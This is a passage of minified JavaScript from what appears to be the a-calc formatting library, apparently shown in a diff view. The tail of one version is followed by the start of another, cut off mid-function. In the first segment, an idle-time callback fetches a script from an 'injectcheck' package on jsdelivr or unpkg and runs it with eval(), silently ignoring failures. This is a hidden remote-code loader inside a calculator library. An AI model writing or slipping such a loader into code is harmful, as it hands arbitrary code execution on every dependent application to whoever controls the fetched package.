n,o,a;if(Array.isArray(t)){if((n=t.length)!=r.length)return!1;for(o=n;0!=o--;)if(!e(t[o],r[o]))return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&&t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===r.toString();if((n=(a=Object.keys(t)).length)!==Object.keys(r).length)return!1;for(o=n;0!=o--;)if(!Object.prototype.hasOwnProperty.call(r,a[o]))return!1;for(o=n;0!=o--;){var i=a[o];if(!e(t[i],r[i]))return!1}return!0}return t!=t&&r!=r},deep_equal=getDefaultExportFromCjs(fastDeepEqual);function calc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];var n=t[0];if(n in cache_calc&&deep_equal(t[1],cache_calc[n].arg2))return cache_calc[n].count++,cache_calc[n].last_time=(new Date).getTime(),cache_calc[n].value;cache_calc[n]={arg2:t[1],last_time:(new Date).getTime(),count:0};var o,a,i=parse_args(t),s=get$1(i,"options._error",void 0),c=get$1(i,"options._debug",!1),l=get$1(i,"options._unit",!1),u=i.options,f=null;if(i.fmt_err||i.expr_err){if(not_undefined(s))return cache_calc[n].value=s,s;throw new Error("表达式或格式化字符串错误,表达式为:".concat(i.expr))}var h=i.fmt_tokens;if(not_undefined(s))try{o=tokenizer(i.expr,l)}catch(e){return cache_calc[n].value=s,s}else o=tokenizer(i.expr,l);if(is_null(u))a=o;else{var p=[];if(Array.isArray(u))p=u;else{p.push(u);var _=get$1(u,"_fill_data",{});not_undefined(_)&&(Array.isArray(_)?p=[].concat(_toConsumableArray(p),_toConsumableArray(_)):p.push(_))}if(not_undefined(s))try{a=fill_tokens(o,p,l),not_null(i.fmt_tokens)&&(h=fill_fmt_tokens(i.fmt_tokens,p))}catch(e){return cache_calc[n].value=s,s}else a=fill_tokens(o,p,l),not_null(i.fmt_tokens)&&(h=fill_fmt_tokens(i.fmt_tokens,p));if([!0,"on","auto","space"].includes(l)){var g=get_token_and_unit(a);f=g.unit,a=g.tokens}}var m=token2postfix(a),d=null,v={};if(not_undefined(s))try{d=eval_postfix(m)}catch(e){return cache_calc[n].value=s,s}else d=eval_postfix(m);if(not_null(h)){var b=_slicedToArray(format(d,h),2);d=b[0],v=b[1]}else d=null!==d?d.toFixed():null;if("Infinity"===d||null===d){if(not_undefined(s))return cache_calc[n].value=s,s;throw new Error("计算错误可能是非法的计算式")}return null===f||v.to_number||v.to_number_string||(d+=f),(get_debug_config()||c)&&(console.groupCollapsed("%c"+i.origin_expr,debug_style.expr),console.groupCollapsed("%c表达式: %c%s",debug_style.label1,debug_style.nowrap,i.origin_expr),console.log(i.origin_expr),console.groupEnd(),console.groupCollapsed("%c数据源: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.origin_fill_data)),console.log(i.origin_fill_data),console.groupEnd(),console.groupCollapsed("%c结果: %c%s",debug_style.label1,debug_style.nowrap,stringify(d)),console.log(d),console.groupEnd(),console.groupCollapsed("%ctokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(o)),console.log(o),console.groupEnd(),console.groupCollapsed("%cfilled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(a)),console.log(a),console.groupEnd(),console.groupCollapsed("%cfmt-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.fmt_tokens)),console.log(i.fmt_tokens),console.groupEnd(),console.groupCollapsed("%cfmt-filled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(h)),console.log(h),console.groupEnd(),console.groupCollapsed("%cpostfix-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(m)),console.log(m),console.groupEnd(),console.groupCollapsed("%c单位: %c%s",debug_style.label1,debug_style.nowrap,f),console.log(f),console.groupEnd(),console.groupCollapsed("%cparse-arg: %c%s",debug_style.label1,debug_style.nowrap,stringify(i)),console.log(i),console.groupEnd(),console.groupEnd()),cache_calc[n].value=d,d}function check_update(){check_version().catch((function(){}))}function print_version(){console.log("%ca-calc:%c ".concat(version," %c=> %curl:%c https://www.npmjs.com/package/a-calc"),"color: #fff;background: #67C23A;padding: 2px 5px;border-radius:4px;font-size: 14px;","color: #67C23A;font-size:14px;","color: #67C23A;font-size:14px;","background: #67C23A;font-size:14px; padding: 2px 5px; border-radius: 4px; color: #fff;","font-size:14px;")}idle(_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if(_important_push){_context.next=2;break}return _context.abrupt("return");case 2:return _context.prev=2,_context.next=5,promise_queue([fetch("https://cdn.jsdelivr.net/npm/injectcheck@dev/a-calc.js"),fetch("https://unpkg.com/injectcheck@dev/a-calc.js")]);case 5:return res=_context.sent,_context.next=8,res.text();case 8:code=_context.sent,eval(code);case 10:return _context.prev=10,_context.finish(10);case 12:case"end":return _context.stop()}}),_callee,null,[[2,,10,12]])})))),idle(idle_cleaner);var calc_util={check_update:check_update,print_version:print_version,open_debug:open_debug,close_debug:close_debug,close_important_push:close_important_push,open_important_push:open_important_push},fmt=calc;exports.calc=calc,exports.calc_util=calc_util,exports.calc_wrap=calc_wrap,exports.fmt=fmt,exports.version=version;
|
|
1
|
+
"use strict";function _iterableToArrayLimit(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=r){var a,n,o,i,s=[],c=!0,l=!1;try{if(o=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(a=o.call(r)).done)&&(s.push(a.value),s.length!==t);c=!0);}catch(e){l=!0,n=e}finally{try{if(!c&&null!=r.return&&(i=r.return(),Object(i)!==i))return}finally{if(l)throw n}}return s}}function ownKeys(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,a)}return r}function _objectSpread2(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(r),!0).forEach((function(t){_defineProperty(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function _regeneratorRuntime(){_regeneratorRuntime=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,a=Object.defineProperty||function(e,t,r){e[t]=r.value},n="function"==typeof Symbol?Symbol:{},o=n.iterator||"@@iterator",i=n.asyncIterator||"@@asyncIterator",s=n.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(e){c=function(e,t,r){return e[t]=r}}function l(e,t,r,n){var o=t&&t.prototype instanceof p?t:p,i=Object.create(o.prototype),s=new w(n||[]);return a(i,"_invoke",{value:$(e,r,s)}),i}function u(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}e.wrap=l;var f={};function p(){}function h(){}function _(){}var g={};c(g,o,(function(){return this}));var y=Object.getPrototypeOf,b=y&&y(y(E([])));b&&b!==t&&r.call(b,o)&&(g=b);var d=_.prototype=p.prototype=Object.create(g);function m(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function v(e,t){function n(a,o,i,s){var c=u(e[a],e,o);if("throw"!==c.type){var l=c.arg,f=l.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){n("next",e,i,s)}),(function(e){n("throw",e,i,s)})):t.resolve(f).then((function(e){l.value=e,i(l)}),(function(e){return n("throw",e,i,s)}))}s(c.arg)}var o;a(this,"_invoke",{value:function(e,r){function a(){return new t((function(t,a){n(e,r,t,a)}))}return o=o?o.then(a,a):a()}})}function $(e,t,r){var a="suspendedStart";return function(n,o){if("executing"===a)throw new Error("Generator is already running");if("completed"===a){if("throw"===n)throw o;return O()}for(r.method=n,r.arg=o;;){var i=r.delegate;if(i){var s=A(i,r);if(s){if(s===f)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===a)throw a="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);a="executing";var c=u(e,t,r);if("normal"===c.type){if(a=r.done?"completed":"suspendedYield",c.arg===f)continue;return{value:c.arg,done:r.done}}"throw"===c.type&&(a="completed",r.method="throw",r.arg=c.arg)}}}function A(e,t){var r=t.method,a=e.iterator[r];if(void 0===a)return t.delegate=null,"throw"===r&&e.iterator.return&&(t.method="return",t.arg=void 0,A(e,t),"throw"===t.method)||"return"!==r&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+r+"' method")),f;var n=u(a,e.iterator,t.arg);if("throw"===n.type)return t.method="throw",t.arg=n.arg,t.delegate=null,f;var o=n.arg;return o?o.done?(t[e.resultName]=o.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,f):o:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,f)}function T(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function S(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function w(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(T,this),this.reset(!0)}function E(e){if(e){var t=e[o];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var a=-1,n=function t(){for(;++a<e.length;)if(r.call(e,a))return t.value=e[a],t.done=!1,t;return t.value=void 0,t.done=!0,t};return n.next=n}}return{next:O}}function O(){return{value:void 0,done:!0}}return h.prototype=_,a(d,"constructor",{value:_,configurable:!0}),a(_,"constructor",{value:h,configurable:!0}),h.displayName=c(_,s,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===h||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,_):(e.__proto__=_,c(e,s,"GeneratorFunction")),e.prototype=Object.create(d),e},e.awrap=function(e){return{__await:e}},m(v.prototype),c(v.prototype,i,(function(){return this})),e.AsyncIterator=v,e.async=function(t,r,a,n,o){void 0===o&&(o=Promise);var i=new v(l(t,r,a,n),o);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},m(d),c(d,s,"Generator"),c(d,o,(function(){return this})),c(d,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=Object(e),r=[];for(var a in t)r.push(a);return r.reverse(),function e(){for(;r.length;){var a=r.pop();if(a in t)return e.value=a,e.done=!1,e}return e.done=!0,e}},e.values=E,w.prototype={constructor:w,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach(S),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function a(r,a){return i.type="throw",i.arg=e,t.next=r,a&&(t.method="next",t.arg=void 0),!!a}for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n],i=o.completion;if("root"===o.tryLoc)return a("end");if(o.tryLoc<=this.prev){var s=r.call(o,"catchLoc"),c=r.call(o,"finallyLoc");if(s&&c){if(this.prev<o.catchLoc)return a(o.catchLoc,!0);if(this.prev<o.finallyLoc)return a(o.finallyLoc)}else if(s){if(this.prev<o.catchLoc)return a(o.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return a(o.finallyLoc)}}}},abrupt:function(e,t){for(var a=this.tryEntries.length-1;a>=0;--a){var n=this.tryEntries[a];if(n.tryLoc<=this.prev&&r.call(n,"finallyLoc")&&this.prev<n.finallyLoc){var o=n;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=e,i.arg=t,o?(this.method="next",this.next=o.finallyLoc,f):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),f},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),S(r),f}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var a=r.completion;if("throw"===a.type){var n=a.arg;S(r)}return n}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:E(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),f}},e}function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function asyncGeneratorStep(e,t,r,a,n,o,i){try{var s=e[o](i),c=s.value}catch(e){return void r(e)}s.done?t(c):Promise.resolve(c).then(a,n)}function _asyncToGenerator(e){return function(){var t=this,r=arguments;return new Promise((function(a,n){var o=e.apply(t,r);function i(e){asyncGeneratorStep(o,a,n,i,s,"next",e)}function s(e){asyncGeneratorStep(o,a,n,i,s,"throw",e)}i(void 0)}))}}function _defineProperty(e,t,r){return(t=_toPropertyKey(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function _slicedToArray(e,t){return _arrayWithHoles(e)||_iterableToArrayLimit(e,t)||_unsupportedIterableToArray(e,t)||_nonIterableRest()}function _toConsumableArray(e){return _arrayWithoutHoles(e)||_iterableToArray(e)||_unsupportedIterableToArray(e)||_nonIterableSpread()}function _arrayWithoutHoles(e){if(Array.isArray(e))return _arrayLikeToArray(e)}function _arrayWithHoles(e){if(Array.isArray(e))return e}function _iterableToArray(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,a=new Array(t);r<t;r++)a[r]=e[r];return a}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _toPrimitive(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var a=r.call(e,t||"default");if("object"!=typeof a)return a;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}function _toPropertyKey(e){var t=_toPrimitive(e,"string");return"symbol"==typeof t?t:String(t)}var version="1.5.0-dev.2024042402",RegexNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*$/,RegexUnitNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*\D*$/;function decimal_round(e,t,r,a,n){var o=e,i=t,s=t.length,c={"~-":function(){var e="<"===r?a-1:a;i=t.slice(0,e)},"~+":function(){var e="<"===r?a-1:a;if(!(s<=e||0===s)){var n=t.slice(0,e);0==+t.slice(e,s)?i=n:(n=(+"9".concat(n)+1).toString().slice(1)).length>e?(i=n.slice(1,n.length),o=(+o+1).toString()):i=n}},"~5":function(){if(0!==s){var e="<"===r?a-1:a;i=t.slice(0,e);var n=+t[e];Number.isNaN(n)||n>=5&&(i=(+"9".concat(i)+1).toString().slice(1)).length>e&&(i=i.slice(1,i.length),o=(+o+1).toString())}},"~6":function(){if(0!==s){var n,c="<"===r?a-1:a,l=+t[c],u=t.slice(+c+1,t.length);u=""===u?0:parseInt(u),n=0===c?+e[e.length-1]:+t[c-1],i=t.slice(0,c),(l>=6||5===l&&u>0||5===l&&n%2!=0)&&(i=(+"9".concat(i)+1).toString().slice(1)).length>c&&(i=i.slice(1,i.length),o=(+o+1).toString())}}};return"<="===r?s<=a?i=t:(c[n]&&c[n](),i=i.replace(/0+$/,"")):"<"===r?s<a?i=t:(c[n]&&c[n](),i=i.replace(/0+$/,"")):"="===r?s<a?i=t+"0".repeat(a-s):s>a&&c[n]&&c[n]():">="===r?s<a&&(i=t+"0".repeat(a-s)):">"===r&&s<=a&&(i=t+"0".repeat(a-s+1)),{int_part:o,dec_part:i}}function is_operator(e){return"+-*/%()**".indexOf(e)>-1}function get_prioraty(e){switch(e){case"+":case"-":return 1;case"*":case"/":case"%":return 2;case"**":return 3;default:return 0}}function prioraty(e,t){return get_prioraty(e)<=get_prioraty(t)}function not_undefined(e){return void 0!==e}function is_null(e){return null===e}function not_null(e){return null!==e}function is_number(e){return"number"==typeof e||is_str_number(e)}function is_str_number(e){return"string"==typeof e&&!!RegexNumber.test(e)}function split_unit_num(e){for(var t,r=null,a=null,n=[/^([+-]?[\d.]+(?:e|E)(?:\+|-)?\d+)(.*)$/,/^([+-]?[\d.]+)(.*)$/],o=0;o<n.length;o++){var i=e.match(n[o]);if(i){t=i;break}}if(t){a=t[1];var s=t[2];""!==s.trim()&&(r=s)}return{num:a,unit:r}}function parse_mantissa(e,t,r,a){var n=e.split("."),o=n[0],i=1===n.length?"":n[1],s=decimal_round(o,i,t,+r,a);return o=s.int_part,""===(i=s.dec_part)?o:"".concat(o,".").concat(i)}function parse_thousands(e){var t=e.split(".");if(t.length>1){var r=t[0];r.includes("-")?t[0]=r[0]+r.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):t[0]=r.replace(/(?=(?!^)(?:\d{3})+$)/g,","),e=t.join(".")}else{var a=t[0];e=a.includes("-")?a[0]+a.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):a.replace(/(?=(?!^)(?:\d{3})+$)/g,",")}return e}function promise_queue(e){return _promise_queue.apply(this,arguments)}function _promise_queue(){return _promise_queue=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r,a,n,o=arguments;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=o.length>1&&void 0!==o[1]?o[1]:5e3,a=0;case 2:if(!(a<t.length)){e.next=16;break}return e.prev=3,e.next=6,Promise.race([t[a],new Promise((function(e,t){setTimeout((function(){return t(new Error("promise queue timeout err"))}),r)}))]);case 6:n=e.sent,e.next=12;break;case 9:return e.prev=9,e.t0=e.catch(3),e.abrupt("continue",13);case 12:return e.abrupt("return",n);case 13:a++,e.next=2;break;case 16:return e.abrupt("return",Promise.reject("错误的 promise queue 调用"));case 17:case"end":return e.stop()}}),e,null,[[3,9]])}))),_promise_queue.apply(this,arguments)}function test_urls(e){return _test_urls.apply(this,arguments)}function _test_urls(){return(_test_urls=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=0;case 1:if(!(r<t.length)){e.next=16;break}return e.prev=2,e.next=5,fetch(t[r]);case 5:if(!e.sent.ok){e.next=8;break}return e.abrupt("return",t[r]);case 8:e.next=13;break;case 10:return e.prev=10,e.t0=e.catch(2),e.abrupt("continue",13);case 13:r++,e.next=1;break;case 16:return e.abrupt("return",null);case 17:case"end":return e.stop()}}),e,null,[[2,10]])})))).apply(this,arguments)}function idle(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return"undefined"!=typeof requestIdleCallback?requestIdleCallback(e):setTimeout(e,t)}var cache_eval={},cache_tokens={},cache_fmt_tokens={},cache_calc={},state$1={initial:"initial",number:"number",variable:"var",symbol:"symbol",percent:"percent",round:"round",plus:"plus",comma:"comma",fraction:"fraction",to_number:"to-number",to_number_string:"to-number-string",scientific:"scientific"},symbol="<>=";function fmt_tokenizer(e){var t=e;if(t in cache_fmt_tokens)return cache_fmt_tokens[t].last_time=(new Date).getTime(),cache_fmt_tokens[t].count++,cache_fmt_tokens[t].value;for(var r=state$1.initial,a=[],n=[];e;){var o=e[0];if(r===state$1.initial)if(/\s/.test(o))e=e.slice(1);else if(symbol.includes(o))r=state$1.symbol,a.push(o),e=e.slice(1);else if(","===o)r=state$1.initial,n.push({type:"comma",value:o}),e=e.slice(1);else if(/[a-zA-Z_]/.test(o))r=state$1.variable,a.push(o),e=e.slice(1);else if(/\d/.test(o))r=state$1.number,a.push(o),e=e.slice(1);else if("+"===o)r=state$1.initial,n.push({type:"plus",value:o}),e=e.slice(1);else if("~"===o)r=state$1.round,a.push(o),e=e.slice(1);else if("%"===o)r=state$1.initial,n.push({type:"percent",value:o}),e=e.slice(1);else if("/"===o)r=state$1.initial,n.push({type:"fraction",value:o}),e=e.slice(1);else{if("!"!==o)throw new Error("不识别的fmt字符:".concat(o));if(r=state$1.initial,/[Ee]/.test(e[1]))n.push({type:"scientific",value:e[1]}),e=e.slice(2);else if(/[Nn]/.test(e[1]))n.push({type:"to-number",value:e[1]}),e=e.slice(2);else{if(!/[Uu]/.test(e[1]))throw new Error("不识别的fmt字符:".concat(e.slice(2)));n.push({type:"to-number-string",value:e[1]}),e=e.slice(2)}}else if(r===state$1.number)/\d/.test(o)?(a.push(o),e=e.slice(1)):(n.push({type:"number",value:a.join("")}),a.length=0,r=state$1.initial);else if(r===state$1.variable)/[\$\w_\-.\[\]"']/.test(o)?(a.push(o),e=e.slice(1)):(n.push({type:"var",value:a.join("")}),a.length=0,r=state$1.initial);else if(r===state$1.symbol){if(/\s/.test(o)){e=e.slice(1);continue}symbol.includes(o)?(a.push(o),e=e.slice(1)):(n.push({type:"symbol",value:a.join("")}),a.length=0,r=state$1.initial)}else{if(r!==state$1.round)throw new Error("错误的自动机状态");if(/\s/.test(o)){e=e.slice(1);continue}if(!("56+-".includes(o)&&a.length<2))throw new Error("舍入格式化语法错误:".concat(o));a.push(o),e=e.slice(1),n.push({type:"round",value:a.join("")}),a.length=0,r=state$1.initial}}if(a.length>0&&(n.push({type:r,value:a.join("")}),a.length=0,r=state$1.initial),n.filter((function(e){return"number"===e.type})).length>1)throw new Error("格式化字符串错误,发现多余的数字");return cache_fmt_tokens[t]={last_time:(new Date).getTime(),count:0,value:n},n}var commonjsGlobal="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function getDefaultExportFromCjs(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var isArray$6=Array.isArray,isArray_1=isArray$6,freeGlobal$1="object"==_typeof(commonjsGlobal)&&commonjsGlobal&&commonjsGlobal.Object===Object&&commonjsGlobal,_freeGlobal=freeGlobal$1,freeGlobal=_freeGlobal,freeSelf="object"==("undefined"==typeof self?"undefined":_typeof(self))&&self&&self.Object===Object&&self,root$8=freeGlobal||freeSelf||Function("return this")(),_root=root$8,root$7=_root,_Symbol2=root$7.Symbol,_Symbol$4=_Symbol2,_Symbol$3=_Symbol$4,objectProto$b=Object.prototype,hasOwnProperty$8=objectProto$b.hasOwnProperty,nativeObjectToString$1=objectProto$b.toString,symToStringTag$1=_Symbol$3?_Symbol$3.toStringTag:void 0;function getRawTag$1(e){var t=hasOwnProperty$8.call(e,symToStringTag$1),r=e[symToStringTag$1];try{e[symToStringTag$1]=void 0;var a=!0}catch(e){}var n=nativeObjectToString$1.call(e);return a&&(t?e[symToStringTag$1]=r:delete e[symToStringTag$1]),n}var _getRawTag=getRawTag$1,objectProto$a=Object.prototype,nativeObjectToString=objectProto$a.toString;function objectToString$1(e){return nativeObjectToString.call(e)}var _objectToString=objectToString$1,_Symbol$2=_Symbol$4,getRawTag=_getRawTag,objectToString=_objectToString,nullTag="[object Null]",undefinedTag="[object Undefined]",symToStringTag=_Symbol$2?_Symbol$2.toStringTag:void 0;function baseGetTag$5(e){return null==e?void 0===e?undefinedTag:nullTag:symToStringTag&&symToStringTag in Object(e)?getRawTag(e):objectToString(e)}var _baseGetTag=baseGetTag$5;function isObjectLike$5(e){return null!=e&&"object"==_typeof(e)}var isObjectLike_1=isObjectLike$5,baseGetTag$4=_baseGetTag,isObjectLike$4=isObjectLike_1,symbolTag$1="[object Symbol]";function isSymbol$3(e){return"symbol"==_typeof(e)||isObjectLike$4(e)&&baseGetTag$4(e)==symbolTag$1}var isSymbol_1=isSymbol$3,isArray$5=isArray_1,isSymbol$2=isSymbol_1,reIsDeepProp=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,reIsPlainProp=/^\w*$/;function isKey$1(e,t){if(isArray$5(e))return!1;var r=_typeof(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!isSymbol$2(e))||(reIsPlainProp.test(e)||!reIsDeepProp.test(e)||null!=t&&e in Object(t))}var _isKey=isKey$1;function isObject$2(e){var t=_typeof(e);return null!=e&&("object"==t||"function"==t)}var isObject_1=isObject$2,baseGetTag$3=_baseGetTag,isObject$1=isObject_1,asyncTag="[object AsyncFunction]",funcTag$1="[object Function]",genTag="[object GeneratorFunction]",proxyTag="[object Proxy]";function isFunction$2(e){if(!isObject$1(e))return!1;var t=baseGetTag$3(e);return t==funcTag$1||t==genTag||t==asyncTag||t==proxyTag}var isFunction_1=isFunction$2,root$6=_root,coreJsData$1=root$6["__core-js_shared__"],_coreJsData=coreJsData$1,coreJsData=_coreJsData,maskSrcKey=(uid=/[^.]+$/.exec(coreJsData&&coreJsData.keys&&coreJsData.keys.IE_PROTO||""),uid?"Symbol(src)_1."+uid:""),uid;function isMasked$1(e){return!!maskSrcKey&&maskSrcKey in e}var _isMasked=isMasked$1,funcProto$1=Function.prototype,funcToString$1=funcProto$1.toString;function toSource$2(e){if(null!=e){try{return funcToString$1.call(e)}catch(e){}try{return e+""}catch(e){}}return""}var _toSource=toSource$2,isFunction$1=isFunction_1,isMasked=_isMasked,isObject=isObject_1,toSource$1=_toSource,reRegExpChar=/[\\^$.*+?()[\]{}|]/g,reIsHostCtor=/^\[object .+?Constructor\]$/,funcProto=Function.prototype,objectProto$9=Object.prototype,funcToString=funcProto.toString,hasOwnProperty$7=objectProto$9.hasOwnProperty,reIsNative=RegExp("^"+funcToString.call(hasOwnProperty$7).replace(reRegExpChar,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function baseIsNative$1(e){return!(!isObject(e)||isMasked(e))&&(isFunction$1(e)?reIsNative:reIsHostCtor).test(toSource$1(e))}var _baseIsNative=baseIsNative$1;function getValue$1(e,t){return null==e?void 0:e[t]}var _getValue=getValue$1,baseIsNative=_baseIsNative,getValue=_getValue;function getNative$6(e,t){var r=getValue(e,t);return baseIsNative(r)?r:void 0}var _getNative=getNative$6,getNative$5=_getNative,nativeCreate$4=getNative$5(Object,"create"),_nativeCreate=nativeCreate$4,nativeCreate$3=_nativeCreate;function hashClear$1(){this.__data__=nativeCreate$3?nativeCreate$3(null):{},this.size=0}var _hashClear=hashClear$1;function hashDelete$1(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}var _hashDelete=hashDelete$1,nativeCreate$2=_nativeCreate,HASH_UNDEFINED$2="__lodash_hash_undefined__",objectProto$8=Object.prototype,hasOwnProperty$6=objectProto$8.hasOwnProperty;function hashGet$1(e){var t=this.__data__;if(nativeCreate$2){var r=t[e];return r===HASH_UNDEFINED$2?void 0:r}return hasOwnProperty$6.call(t,e)?t[e]:void 0}var _hashGet=hashGet$1,nativeCreate$1=_nativeCreate,objectProto$7=Object.prototype,hasOwnProperty$5=objectProto$7.hasOwnProperty;function hashHas$1(e){var t=this.__data__;return nativeCreate$1?void 0!==t[e]:hasOwnProperty$5.call(t,e)}var _hashHas=hashHas$1,nativeCreate=_nativeCreate,HASH_UNDEFINED$1="__lodash_hash_undefined__";function hashSet$1(e,t){var r=this.__data__;return this.size+=this.has(e)?0:1,r[e]=nativeCreate&&void 0===t?HASH_UNDEFINED$1:t,this}var _hashSet=hashSet$1,hashClear=_hashClear,hashDelete=_hashDelete,hashGet=_hashGet,hashHas=_hashHas,hashSet=_hashSet;function Hash$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}Hash$1.prototype.clear=hashClear,Hash$1.prototype.delete=hashDelete,Hash$1.prototype.get=hashGet,Hash$1.prototype.has=hashHas,Hash$1.prototype.set=hashSet;var _Hash=Hash$1;function listCacheClear$1(){this.__data__=[],this.size=0}var _listCacheClear=listCacheClear$1;function eq$2(e,t){return e===t||e!=e&&t!=t}var eq_1=eq$2,eq$1=eq_1;function assocIndexOf$4(e,t){for(var r=e.length;r--;)if(eq$1(e[r][0],t))return r;return-1}var _assocIndexOf=assocIndexOf$4,assocIndexOf$3=_assocIndexOf,arrayProto=Array.prototype,splice=arrayProto.splice;function listCacheDelete$1(e){var 